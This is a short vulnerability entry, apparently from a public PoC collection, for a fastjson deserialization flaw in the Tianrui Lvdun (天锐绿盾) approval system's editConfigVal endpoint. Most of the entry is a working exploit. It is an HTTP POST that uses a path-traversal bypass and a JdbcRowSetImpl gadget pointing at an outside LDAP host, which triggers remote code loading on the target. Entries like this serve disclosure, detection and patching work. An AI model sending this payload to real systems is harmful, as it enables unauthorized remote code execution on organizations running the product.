天锐绿盾审批系统 editConfigVal fastjson 反序列化漏洞

2025-12-25 天锐绿盾审批系统 PoC Public

Description

天锐绿盾审批系统 editConfigVal fastjson 反序列化漏洞

PoC

POST /trwfe/login.jsp/.%2e/rest/conf/editConfigVal HTTP/1.1
Host: 
Content-Type: application/json

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://gobygo.net/A4",
    "autoCommit": true
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities